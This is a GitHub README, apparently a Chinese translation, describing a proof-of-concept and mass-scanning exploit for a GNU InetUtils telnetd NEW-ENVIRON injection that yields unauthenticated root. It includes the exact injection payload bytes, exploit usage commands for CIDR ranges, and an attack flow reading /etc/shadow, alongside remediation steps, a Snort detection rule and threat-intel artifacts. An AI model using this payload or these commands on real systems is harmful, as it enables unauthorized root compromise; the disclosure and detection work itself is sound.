franckferman/CVE_2026_24061

GitHub: franckferman/CVE_2026_24061

针对 GNU InetUtils telnetd 的 NEW-ENVIRON 注入漏洞,提供无认证远程 Root 提权的 PoC 脚本及配套的检测规则与威胁情报生成工具。

Stars: 1 | Forks: 0

CVE Score License Python No deps

GNU InetUtils telnetd - 通过 NEW-ENVIRON 变量注入实现未经认证的远程 Root

概述 - 技术分析 - 受影响版本 - 用法 - 修复 - 参考


## 漏洞概述 **CVE-2026-24061** 是 **GNU InetUtils** 附带的 `telnetd` 守护进程中的一个严重认证绕过漏洞。该缺陷存在于初始协议握手期间对 Telnet `NEW-ENVIRON` 选项([RFC 1572](https://datatracker.ietf.org/doc/html/rfc1572))的处理中。 根本原因是在将客户端提供的环境变量传递给 `login(1)` 程序之前,未能对其进行清洗。当 Telnet 守护进程收到一个 `NEW-ENVIRON IS` 子协商数据包,其中包含值为 `-f root` 的变量 `USER` 时,它会将此未清洗的值直接传递给系统 `login` 二进制文件。 在 `login` 接受 `-f` 标志(强制登录而不进行密码验证)的系统上,这将导致向远程攻击者授予未经认证的 root 会话。 此类漏洞具有历史先例:SysV telnetd 中的 CVE-2001-0797 以及 1994 年著名的 Linux telnetd `-f` 绕过都利用了同样的根本性失误,即未能清洗传递给特权二进制文件的环境源参数。 **无需凭据。无需事先访问。单个网络数据包序列即可获取 root。** ## 技术分析 ### 根本原因 GNU InetUtils `telnetd` 处理 `NEW-ENVIRON`(选项代码 `0x27`,根据 RFC 1572)子协商以收集客户端提供的环境变量。这些变量被组装成参数向量,并在生成 `login(1)` 时传递给 `execve(2)`。 漏洞触发方式如下: 1. 服务器发送 `IAC DO NEW-ENVIRON`,向客户端请求环境变量。 2. 恶意客户端回复 `IAC WILL NEW-ENVIRON`。 3. 服务器接着发送 `IAC SB NEW-ENVIRON SEND IAC SE`。 4. 客户端发送注入的 payload: ``` IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE ``` 5. `telnetd` 将 `login` 调用构造为 `login -f root`。 6. `login(1)` 将 `-f` 解释为“强制登录,跳过认证”,并在不需要密码的情况下登录指定用户(`root`)。 ### 协议层分解 | 步骤 | 方向 | Telnet 字节 (hex) | 含义 | |------|-----------|--------------------|---------| | 1 | S -> C | `FF FD 27` | IAC DO NEW-ENVIRON | | 2 | C -> S | `FF FB 27` | IAC WILL NEW-ENVIRON | | 3 | S -> C | `FF FA 27 01 FF F0` | IAC SB NEW-ENVIRON SEND IAC SE | | 4 | C -> S | `FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0` | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE | ### 为什么 `-f root` 有效 许多 Linux 系统上的 `login(1)` 二进制文件接受 `-f ` 标志用于“预认证”登录,历史上用于终端复用器和 `rlogin`。当 `telnetd` 构建其 `exec` 调用且未能去除前导连字符或验证环境变量值中类似选项的字符串时,它无意中直接将攻击者控制的标志传递给了 `login`。 实际调用变为: ``` execve("/bin/login", ["login", "-f", "root"], envp); ``` ### 攻击场景 ``` Attacker Vulnerable telnetd (port 23) | | |------- TCP SYN (port 23) ----------------------->| |<------ TCP SYN-ACK -------------------------------| |------- TCP ACK ---------------------------------->| | | |<------ Telnet banner + IAC DO NEW-ENVIRON --------| |------- IAC WILL NEW-ENVIRON --------------------->| |<------ IAC SB NEW-ENVIRON SEND IAC SE ------------| | | |------- IAC SB NEW-ENVIRON IS | | VAR "USER" VALUE "-f root" IAC SE -------->| | | | [telnetd calls: login -f root] | | | |<------ Root shell prompt (#) ---------------------| | | |------- id; whoami; cat /etc/shadow -------------->| |<------ uid=0(root) root /etc/shadow contents -----| ``` **前置条件:** - 运行 GNU InetUtils `telnetd` 的目标系统(TCP/23 开放) - 未修补的 `inetutils` 版本 - `login(1)` 二进制文件支持 `-f` 标志(大多数 Linux 发行版标准) - 没有防火墙阻止 TCP/23 ## 受影响版本 | 软件 | 受影响版本 | 状态 | |----------|-------------------|--------| | GNU InetUtils telnetd | <= 2.x (具体修补版本待定) | 受影响 | | 附带未修补 GNU inetutils 的发行版 | 各种 | 检查供应商公告 | ## CVSS 评分 | 指标 | 值 | |--------|-------| | **CVSS v3.1 Base Score** | **9.8 (严重)** | | 攻击矢量 | 网络 (Network) | | 攻击复杂度 | 低 | | 所需权限 | 无 | | 用户交互 | 无 | | 范围 | 未改变 | | 机密性影响 | 高 | | 完整性影响 | 高 | | 可用性影响 | 高 | | **向量字符串** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | ## MITRE ATT&CK 映射 | ATT&CK ID | 战术 | 技术 | 相关性 | |-----------|--------|-----------|-----------| | [T1190](https://attack.mitre.org/techniques/T1190/) | 初始访问 | 利用面向公众的应用程序 | 通过网络直接利用 telnetd | | [T1059](https://attack.mitre.org/techniques/T1059/) | 执行 | 命令和脚本解释器 | 后渗透 Shell 执行 | | [T1078.004](https://attack.mitre.org/techniques/T1078/004/) | 权限提升 / 防御规避 | 有效账户:本地账户 | 认证绕过产生有效的 root 会话 | | [T1548](https://attack.mitre.org/techniques/T1548/) | 权限提升 | 滥用提权控制机制 | 滥用 `login -f` 标志绕过 PAM/认证 | | [T1046](https://attack.mitre.org/techniques/T1046/) | 发现 | 网络服务发现 | PoC 的大规模扫描组件 | ## 安装 **要求:** Python 3(仅标准库,零外部依赖)。 ``` git clone https://github.com/franckferman/CVE_2026_24061.git cd CVE_2026_24061 ``` 无需 `pip install`。这两个脚本仅使用 Python 标准库。 ## 项目结构 ``` poc_cve_2026_24061.py # Simple PoC (~100 lines) - understand the vulnerability cve_2026_24061.py # Industrialized exploit - multithreaded, CIDR, CSV/JSON export scripts/ generate_signatures.py # Auto-generate Snort/Suricata + Sigma rules from payload generate_misp_event.py # Generate MISP-importable event JSON generate_stix_bundle.py # Generate STIX 2.1 bundle (MISP, OpenCTI, TAXII) signatures/ snort.rules # Snort/Suricata detection rules (auto-generated) sigma.yml # Sigma rule for SIEM (auto-generated) indicators/ misp_event.json # MISP event - import via Events > Add Event > Import stix_bundle.json # STIX 2.1 bundle - 11 objects (vuln, indicator, ATT&CK, CoA) ``` - **`poc_cve_2026_24061.py`**:极简、可读、教育性。单目标,单函数,零抽象。阅读此文以准确理解漏洞在协议层面是如何工作的。 - **`cve_2026_24061.py`**:用于渗透测试的工业化 exploit。多线程,支持 CIDR 范围、文件输入、CSV/JSON 导出、静默模式、自定义用户。 ## 用法 ### 简单 PoC (poc_cve_2026_24061.py) 利用单个主机。代码特意保持极简,以便您可以从头到尾阅读并理解完整的攻击链。 ``` # 基本用法 python3 poc_cve_2026_24061.py 192.168.1.100 # 自定义端口 python3 poc_cve_2026_24061.py 10.0.0.5 2323 ``` ### 工业化 Exploit (cve_2026_24061.py) #### 单个主机 ``` python3 cve_2026_24061.py -t 192.168.1.100 ``` #### CIDR 范围 (批量扫描) ``` python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50 ``` #### 文件输入 ``` python3 cve_2026_24061.py -f targets.txt -o results.csv ``` ### JSON 导出 ``` python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json ``` ### 自定义目标用户 ``` python3 cve_2026_24061.py -t 192.168.1.1 --user admin ``` ### 静默模式 (兼容管道) ``` python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt ``` ### 完整选项 | 参数 | 默认值 | 描述 | |---|---|---| | `-t / --target` | - | 单个 IP、主机名或 CIDR 范围 | | `-f / --file` | - | 包含 IP/CIDR 的文件(每行一个,`#` 为注释) | | `-T / --threads` | `10` | 并发线程数 | | `-p / --port` | `23` | 目标 Telnet 端口 | | `--timeout` | `5` | Socket 超时秒数 | | `--user` | `root` | 用于 `-f` payload 的用户名 | | `-o / --output` | - | 将结果导出到 CSV 文件 | | `--json` | - | 将结果导出到 JSON 文件 | | `-q / --quiet` | 关闭 | 静默模式:仅打印易受攻击的目标(每行一个) | | `--no-color` | 关闭 | 禁用 ANSI 颜色输出 | ### 输出状态 | 状态 | 含义 | |--------|---------| | `[VULN]` | 主机确认存在漏洞 - 已获取 root shell | | `[SAFE]` | 主机响应但认证未被绕过 | | `[CLOS]` | 端口关闭或连接被拒绝 | | `[ERR ]` | 扫描期间发生 Socket 或协议错误 | CSV 输出列:`ip:port, status, message` ## PoC 行为 该脚本在 Python 中原生实现了完整的 Telnet `NEW-ENVIRON` 协商状态机,不依赖外部 Telnet 库: 1. 在端口 23(可配置)上打开通往目标的原始 TCP socket。 2. 读取传入的 `IAC` 命令序列,并使用 `WILL NEW-ENVIRON` 响应 `DO NEW-ENVIRON`。 3. 收到服务器 `SB NEW-ENVIRON SEND` 子协商后,传输注入的 payload(`USER = "-f root"`)。 4. 监视响应缓冲区中成功 root 登录的指标:存在 `uid=0(root)` 或 shell 提示符(`#`),且没有 `Login incorrect` 或 `Password:`。 5. 如果 payload 已注入,发送 `id\n` 并检查响应中的 `uid=0(root)` 作为二次确认。 结果通过带有颜色编码状态标签的 stdout 记录。可选的 CSV 导出记录所有发现以供后处理。 ## 修复与缓解 ### 立即行动 1. **完全禁用 Telnet。** Telnet 以明文传输所有数据。替换为 SSH。 sudo systemctl disable telnet.socket --now sudo systemctl disable inetd --now 2. **应用供应商补丁。** 一旦可用,从您的发行版安装修补后的 `inetutils` 版本。 3. **在边界阻止 TCP/23。** 应用防火墙规则以拒绝入站 Telnet 连接。 # iptables sudo iptables -A INPUT -p tcp --dport 23 -j DROP # nftables sudo nft add rule inet filter input tcp dport 23 drop ### 纵深防御 | 控制 | 描述 | |---------|-------------| | 网络分段 | 如果无法禁用 Telnet,将其限制在隔离的管理网络中 | | PAM 加固 | 检查 PAM 配置;在 `login.defs` 不需要的地方禁用 `-f` 预认证 | | IDS/IPS 特征 | 检测 Telnet 流量中的 `NEW-ENVIRON IS VAR USER VALUE -f` 模式 | | 审计日志 | 监控 `auth.log` / `secure` 中通过 `login` 进行的意外 root 登录 | | 漏洞扫描 | 运行认证扫描(OpenVAS, Nessus)以识别未修补的 `inetutils` | ### 检测 (SIEM/IDS) 用于检测传输中 exploit 的 Snort/Suricata 规则骨架: ``` alert tcp any any -> any 23 ( msg:"CVE-2026-24061 telnetd USER=-f root exploit attempt"; content:"|FF FA 27 00 00|USER|01|-f root|FF F0|"; sid:2026240610; rev:1; ) ``` ## 威胁情报 此仓库附带预生成的威胁情报工件,可直接导入您的 SOC/CTI 技术栈。它们由 CI 从实际 exploit payload 自动生成——如果 payload 发生变化,工件也会更新。 ### MISP 将 `indicators/misp_event.json` 直接导入任何 MISP 实例: ``` Events > Add Event > Import from... > JSON ``` 该事件包含:CVE ID、CVSS 向量、Snort 特征、payload 十六进制、MITRE ATT&CK 标签(T1190, T1548, T1059)、CPE 和外部参考。 ### STIX 2.1 将 `indicators/stix_bundle.json` 导入 OpenCTI、TAXII 服务器或任何 STIX 2.1 消费者。 该 bundle 包含 11 个对象:漏洞、指标(网络模式)、3 个攻击模式(MITRE)、补救行动方案、身份以及链接它们的关系。 ### IDS 特征 `signatures/` 中的预构建规则: - `snort.rules` - 3 条 Snort/Suricata 规则(exploit 尝试、通用 -f 注入、后渗透 root shell) - `sigma.yml` - 用于 SIEM 关联的 Sigma 规则 ### 重新生成 如果您修改了 exploit payload,请重新生成所有工件: ``` python3 scripts/generate_signatures.py python3 scripts/generate_misp_event.py python3 scripts/generate_stix_bundle.py ``` 参考:[MISP](https://www.misp-project.org/) - [OpenCTI](https://www.opencti.io/) - [STIX 2.1](https://docs.oasis-open.org/cti/stix/v2.1/stix-v2.1.html) - [Sigma](
标签:CISA项目, CVE-2026-24061, GNU, InetUtils, POC, Python, RCE, Root权限, Telnet, Web报告查看器, 威胁模拟, 提权, 无后门, 无服务器架构, 未授权访问, 环境变量注入, 编程工具, 网络安全, 认证绕过, 远程代码执行, 逆向工具, 隐私保护